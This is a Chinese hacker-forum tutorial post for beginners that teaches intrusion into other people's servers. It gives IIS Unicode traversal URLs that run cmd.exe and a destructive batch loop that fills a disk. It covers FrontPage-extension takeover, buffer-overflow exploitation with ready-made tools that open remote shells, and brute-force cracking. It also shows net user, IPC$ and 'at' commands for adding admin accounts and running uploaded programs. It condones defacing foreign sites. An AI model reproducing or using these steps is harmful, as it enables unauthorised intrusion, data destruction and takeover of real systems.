|
 | 作者: bird [huoniao]
 论坛用户 |
登录 |
| 上接（二） 四，细节问题。 1，遇到长文件名怎么办？ c:\program files\ 就用c:\"program20%files"\ 2，遇到空格怎么办？ 20%代替喽，或者xx yy=xxyy~1 3,如何做个很大的文件？ 目的就是破坏啦！我不喜欢不过教教你们啦 @echo off echo big > c:\a.a :h copy c:\a.a+c:\a.a c:\a.a goto h 注意不要乱来啊！ 4，输入命令，没反应或反应不对。 ：）请检查检查再检查命令的正确性，可能没有漏洞，那就闪人！看在你看到这里那么给我面子的份上，在给你几个吧！ http://www.exsample.com/scripts/..À¯..À¯..À¯..À ¯../winnt/system32/cmd.exe?/c+dir+c :\ 或http://www.exsample.com/msadc/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ 或http://www.exsample.com/_vti_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ 或http://www.exsample.com/_mem_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ 不一定有用哦！ 5，如何找到unicode漏洞的主机 呵呵：）最好的方法自然是………………一个一个ping,一个一个试喽：） 不要打我呀！我说我说。最好找一个cgi扫描器，unicode查找器多如牛毛，随便找个吧！ 6，我copy，del文件，怎么显示aceess denined? 这个不好办了，由于unicode所拥有的权限有限，出现上述情况很正常，我们要做的便是提高自己的权限！ 这个我会在今后介绍，现在你可以试试attrib attrib -r -h -s c:\autoexec.bat 再对autoexec.bat进行操作，看看有没有效果，成功率不高，不好意思！ 7，我黑了主页，天下无敌？ 我本来想对你说：“见你的鬼去吧！”不过想想不大礼貌，有失我绅士风度，所以改个口 echo主页或改主页在不懂黑客的人看起来很了不起，不过，它最多算是一个基础，拿到admin才是我们的终极目标！ 对cshu全体成员来说，不准去改正在建立的网页！这是我们的原则！ 要是你想耍耍威风，那也可以理解，那就去黑外国的，或者url欺骗也是个好选择 8，我如何做更多的事？ 第一，努力提高权限 第二，由于cmd的限制，我们可以做的不多，那就要程序帮忙，上传吧！切记，要隐秘！ 一，frontpage扩展攻击。 为什么把它放第一位呢？原因很简单，它最最方便，frontpage服务器扩展是一种方便的远程站点管理功能，可是由于某些网管白痴的疏忽（为什么白痴满街飞？）不设置访问密码，如果那样的话，我们只要用一个frontpage就可以黑它了！！这完全不是黑客工具，但它确实办到了，还要感谢白痴网管和微软啊！ 具体做法： 1，准备frontpage，我是用dreamweaver的，但它不能黑啊：）最好是2000版，只是不要是老掉牙的版本就行了。 2，找一台有frontpage扩展的主机，可以用流光，也可以用搜索引擎查找/_vti_pvt/，这是frontpage扩展的标志。 3，接下来打开frontpage,(妈妈：你在干什么？回答：做网页！妈妈：好孩子！^_^）文件菜单下选择“打开站点”，然后在文件夹框里写入http://11.11.22.22（我习惯用这个做例子，以fp2000为准）注意http://不要漏掉。在按下“打开”按钮前，不要忘了祈祷：）一两秒后，出现了文件夹，好啊！成功了，现在就可以操作网页文件了。 4，万一跳出错误信息，表示有密码（这个不算白痴）这时我们试着用以下url,http://11.11.22.22/_vti_pvt/service.pwd,这是默认的密码文件，下载下来，应该是unix的加密，找个解密器破密码吧！运气好的话还可以改网页。 我的看法： 这个漏洞只能说明网管的疏忽，对我们而言是没有什么利用价值的，只可以改改网页，也许这也够了，但要进一步控制主机，此漏洞就无能为力。消遣时可以玩玩。 二，iis.printer溢出攻击 据说缓冲区溢出攻击是黑客入侵时70%所选的方法，看起来有点夸张，但确实有道理，因为暴力密码破解在网络上变得非常之慢，而像unicode的解码漏洞所取得的权限又太低，而缓冲区溢出一般可取得system权限，是非常有用的！ 具体原理我也不是很清楚，只能说个大概：当我们向系统发出超出缓冲区大小的数据处理请求时，便会引发溢出，并弹出错误对话框，我们常看到的“非法操作”其实也是可能是由于溢出。而当溢出时，eip发生错误，有汇编知识的朋友应该记得，eip是控制执行代码的位置（顺便问一下，有没有会crack的高人，记得做我老师）这时加入一段恶性代码，算好发生溢出时的eip值，这样溢出时就会执行恶性代码而不是当掉。非法操作我们知道多的不得了，因此……溢出攻击是非常强大的！ 由于汇编对于我们来说较难掌握，加之对溢出的了解很有限，那么我们只能借助高手们的程序来黑了。 具体方法： 1，准备iishack，本站有下载，该版本可以对多种系统进行攻击。 2，用x-scan或流光扫描一个有iis.printer漏洞的主机，然后就可以攻击了。 3，在命令行方式执行iis5hack (主机ip) (端口号，默认80）（系统代号，具体可参考程序的说明） （ shell口） 例如：iis5hack 11.11.22.22 80 1 111(以为在111端口开一个shell) 4,用nc或telnet连上，nc/telnet 11.11.22.22 111,成功的话就可以控制机器了，加个用户，做个代理…… 我的看法： 这算是一个比较有用的漏洞了，它能帮助我们取得system权限，其实和admin差不了多少了，对于做一台跳板是非常有利的，希望大家熟练掌握。 三，idq/ida漏洞溢出攻击 这是时下很热门的了，原理和上面的printer相似，目前我只找到了iis5的攻击程序，在cshu里也可以找到的，我们准备的是snake的gui版本，很方便的。 具体方法： 1，准备snakeiis溢出程序。可以从本站下载。 2，ida/idq漏洞很多的，但win2k的服务器就不是那么普遍了，所以用你熟练的扫描器去找一打win2k的机器吧。 3，程序的界面是很傻瓜的，把ip填入，选择好类型，按下溢出按钮，显示shellcode发送完毕。 4，telnet/nc到你设定好的端口，如果成功的话，会显示目录下的信息（因为默认shellcode是dir) 5，欢呼吧！再次溢出，别忘了改shellcode为你想要的代码哦。 6，重复4，很快一台新鲜的win2k被你控制了！ 我的看法： 我很喜欢用这种攻击，因为win2k的3389可以很方便的为我做事，省力地搞到一台win2k，然后慢慢享用，爽到根尖细胞啊！大家应该掌握这项方法。 四，*bsd telnetd溢出攻击 又是溢出，不过这个可是真正的热点哦，最近红盟等大型安全网站被黑就是因为这个！所以看看吧 具体方法： 1，使用fbsdhack for win2k来攻击，本站有下载的 2，还是要找到这样的主机，一般是xnix的，比较少的，用专门的扫描器吧，我会在不久放出来。 3，等吧！这个漏洞要发送的信息很大，大约16mb,可怕吧，所以最好用高速肉鸡 4，有幸成功了，记得请我吃饭！ 我的看法： 这个漏洞的利用比较有难度，从找机器开始就是。但作为黑客爱好者，我们没有理由去回避它！ 五，密码暴力破解 这是最最原始，也是最最基本的攻击的方式了，利用字典文件或暴力模式，对密码进行探测。费时费力，但若有经验的话，可以缩短这一过程。 具体方法： 1，找一个破解器，有ftp,http,smtp,pop3,telnet等等类型。 2，找到一台相应的主机。 3，设定一番，上路吧！你可以睡觉，可以去machine(就是做作业)，可以去泡妞……就是不要傻等。为什么呢？因为会伤视力的：）怎么倒了一片，起来起来！ 4，万一成功了（之所以用这个词，是因为成功率很低的）表明你运气旺，赶紧下线，买彩票去吧^_^ 大家好，这几天被cgi程序搞得头昏脑胀，主要还是51的错，什么破东西，那么多错误！现在只好暂时借人家的地方用。 这是菜鸟操的最后第二节，说实话我还可以写很多的，但是作业还欠了一大堆：（为什么我没有满舟的狗屎运？算了算了，我不合那种欺世盗名之辈一般见识，开始做操吧！ 不知道大家对unicode和溢出攻击是不是熟练了？没有的要加油哦！今天我们来谈谈权限的提升。 在windows系统中，最高的权限掌握在administrators的手里，在xnix中称为root,我们要完全掌握一台机器，拿到admin是不可或缺的。 首先说说最简单的:system to admin 当我们用溢出攻击成功后，其实我们已经拿到了system权限（具体看每种攻击而可能有所不同）这时我们很容易拿到admin权限。首先看看一下命令： net user 察看用户表 net user username pass /add(添加密码为pass的用户username) net localgroup 察看组 net localgroup guests cshu /add 把cshu用户加入guests组 net use \\ip\ipc$ "password" /user:username 这是远程连接的命令 假如我们溢出了11.11.22.22，那么这样做吧！ net user （看到了iusr_machinename的用户了，它一般没什么权限的） net user iusr_machinename cshu （把它的密码设为cshu） net localgroup administrators iusr_machinename /add（加入administrators组） 这样我们就拥有了iusr_machinename这一账号，admin权限，简单吧！ 熟悉一下net use 命令： net use \\11.11.22.22\ipc$ "cshu" /user:iusr_machinename 建立连接 copy c:\haha.exe \\11.11.22.22\admin$ 把haha.exe 复制到机器c:\winnt\system32上，若是c$.d$,就表示c,d盘 net time \\11.11.22.22 看到了时间了，比如是8点 at \\11.11.22.22 8:03 haha.exe 就会在8点3分执行。 net use \\11.11.22.22 /delete 断开连接 应该是很简单的。这样我们就可以随心所欲地操作11.11.22.22了，admin是最高权限，所以没有限制的：） 是不是很简单？所以我是溢出是很厉害的攻击方法。 下转（四） [此贴被 bird(huoniao) 在 11月13日18时06分 编辑过] |
| 地主 发表时间: 11/13 18:22 |
 | 回复: dragonsky [dragonsky]  论坛用户 |
登录 |
|
恩？你说的我不明白啊，不清楚，呵呵。不过帮你一下 |
| B1层 发表时间: 11/14 19:32 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写：NetDemon
粤ICP备05087286号
论坛: 菜鸟乐园 标题: 黑客入门篇转载（三）